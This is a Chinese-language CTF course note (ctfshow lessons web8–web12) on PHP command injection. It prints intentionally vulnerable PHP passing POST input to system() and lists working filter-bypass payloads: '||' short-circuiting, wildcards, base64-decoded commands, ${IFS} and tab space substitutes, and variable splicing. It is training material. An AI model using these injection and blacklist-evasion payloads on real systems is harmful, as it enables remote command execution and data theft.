ctfshow私教课第二节

认识php

php是一种开源服务器端脚本语言

php的基本语法是函数名(函数参数)分号
可以有零或者多个参数,如果没有参数就不写
phpinfo 显示当前服务器上php的基本信息

可以自定义函数,例如下面这个就是用php语言写的简单加和

1
2
3
4
5
6
7
8
9
<?php
function add($a,$b){
return $a+$b;
}
$a=$_POST['a'];
$b=$_POST['b'];
$c=add($a,$b);
echo $c;
?>

危险函数
比较危险的函数,如果参数用户可控,会造成灾难性的后果

例如:

  1. system函数
    执行外部程序,并且显示输出
    还有很多可以查询php7中文手册

命令执行

命令执行一般指目标服务器上的命令执行,也就是远程命令执行,英文缩写为RCE,有远程命令执行和远程代码执行

php的命令执行函数

  • system
  • passthru
  • exec
  • shell_exec
  • popen
  • pcntl_exec
  • 执行运算符
    具体使用参考php7中文手册

连接符

  • && 前后两个命令是并列执行 短路
    注意在使用时需要进行url编码输入图片说明
  • || 前后两个命令有一个执行成功就可以
  • ;独立的两条命令执行
  • 前两个于c语言中相似

ctfshow私教课web8

1
2
3
4
5
6
<?php      
error_reporting(0);
highlight_file(__FILE__);
$cmd=$_POST['cmd'];
system($cmd." >/dev/null 2>&1");
?>

/dev/null 2>&1

黑洞函数,可以删除回显导致看不到回显

我们可以通过以下几种方式进行绕过

  • 利用||的短路特性
    cmd=tac flag.php||
  • 将回显复制到文本中
    cp flag.php 1.txt
    再访问1.txt就可以看到回显
  • 将回显移动到我们可以访问的地方
    mv flag.php 1.txt
    再访问1.txt就可以看到回显
  • 还有其他多种方法不再一一赘述(主要是我也不知道)

黑名单绕过

- 替换过滤

将关键词换为空,例如替换cat为空
我们可以使用双写绕过,ccatat,替换后仍然为cat
但是如果是将关键词替换为其他字符,那么双写绕过就没什么作用了

- 过滤特定字符串(例如flag)的情况:

例如过滤了flag关键字,我们可以使用通配符进行绕过

  1. ? 代表一个任意字符
    例如可以输入 cat fla? 来代替cat flag.php
  2. *表示任意长度字符

例如可以输入 cat f*来代替 cat flag.php

ctfshow私教课web9

1
2
3
4
5
6
7
8
`<?php      
error_reporting(0);
highlight_file(__FILE__);
$cmd=$_POST['cmd'];
if(!preg_match("/flag|\&|\;/i",$cmd)){
system($cmd." >/dev/null 2>&1");
}
?> `
  • 利用||的短路特性
    cmd=tac fla?.php||
  • 将回显复制到文本中
    cp flag.ph? 1.txt
    再访问1.txt就可以看到回显
  • 将回显移动到我们可以访问的地方
    mv flag.ph? 1.txt
    再访问1.txt就可以看到回显
  • 还有其他多种方法不再一一赘述

ctfshow私教课web10(有通杀)

1
2
3
4
5
6
<?php      
error_reporting(0);
highlight_file(__FILE__);
$cmd=$_POST['cmd'];
if(!preg_match("/flag|\&|\;|cat|tac|nl|more|od/i",$cmd)){ system($cmd." >/dev/null 2>&1"); }
?>

第一种方法是用不了了,后两种可以继续使用

  • 将回显复制到文本中
    cp fla?.php 1.txt
    再访问1.txt就可以看到回显
  • 将回显移动到我们可以访问的地方
    mv fla?.php 1.txt
    再访问1.txt就可以看到回显

这是之前的方法,还有一种通杀方法

  • cmd=echo 'dGFjIGZsYWcucGhw'|base64 -d||
    这里的dGFjIGZsYWcucGhw是bas64编码后的tac flag.php
    利用编码解码进行绕过,拿到flag

ctfshow私教课web11

1
2
3
4
5
6
7
<?php      
error_reporting(0);
highlight_file(__FILE__);
$cmd=$_POST['cmd'];
if(!preg_match("/flag|\&|\;| /i",$cmd)){ system($cmd);
}
?>

这里过滤了空格,需要对空格进行绕过

  • 通杀解在这里仍旧有效
    cmd=echo${IFS}'dGFjIGZsYWcucGhw'|base64${IFS}-d
  • cmd=tac${IFS}fla?.php
  • cmd=cp${IFS}fla?.php${IFS}1.txt
  • cmd=mv${IFS}fla?.php${IFS}1.txt
  • 还有其他方法不再一一赘述

变量拼接绕过关键字

a=c;b=at;c=fla;d=g.php;$a$b $c$d
等效为cat flag.php

符号过滤

  • 当空格被过滤了时,可以使用以下几个进行替换
  1. 读文件时,可以使用<>
  2. ${IFS} $IFS$9
  3. %09 %0b %0c
  4. 字符串截取空格

字符串截取空格

例如
1.ctfshow=aabbcc
2.${ctfshow}
3.这里输出的就是aabbcc

1.ctfshow=aabbcc
2.${ctfshow:2}
3.这里输出的就是bbcc

1.ctfshow=aabbcc
2.${ctfshow:4:1}
3.这里输出的就是c

我们可以通过这个在系统中找已经定义好的变量,然后截取里面的字符串即可

ctfshow私教课web12

1
2
3
4
5
6
7
8
<?php      
error_reporting(0);
highlight_file(__FILE__);
$cmd=$_POST['cmd'];
if(!preg_match("/flag|\&|\;| |IFS|\>|\<|\x09/i",$cmd)){
system($cmd);
}
?>

使用常见的能够替代空格的字符,发现没用,使用爆破后也没有找到能够替代空格的字符
接下来我们就要考虑使用字符串截断

输入cmd=env查看环境变量
输入图片说明

查看网页源代码,找一下那个环境变量含有空格输入图片说明

再使用上面的字符串截取格式,来代替空格输入图片说明

这样就可以正确进行空格绕过,拿到flag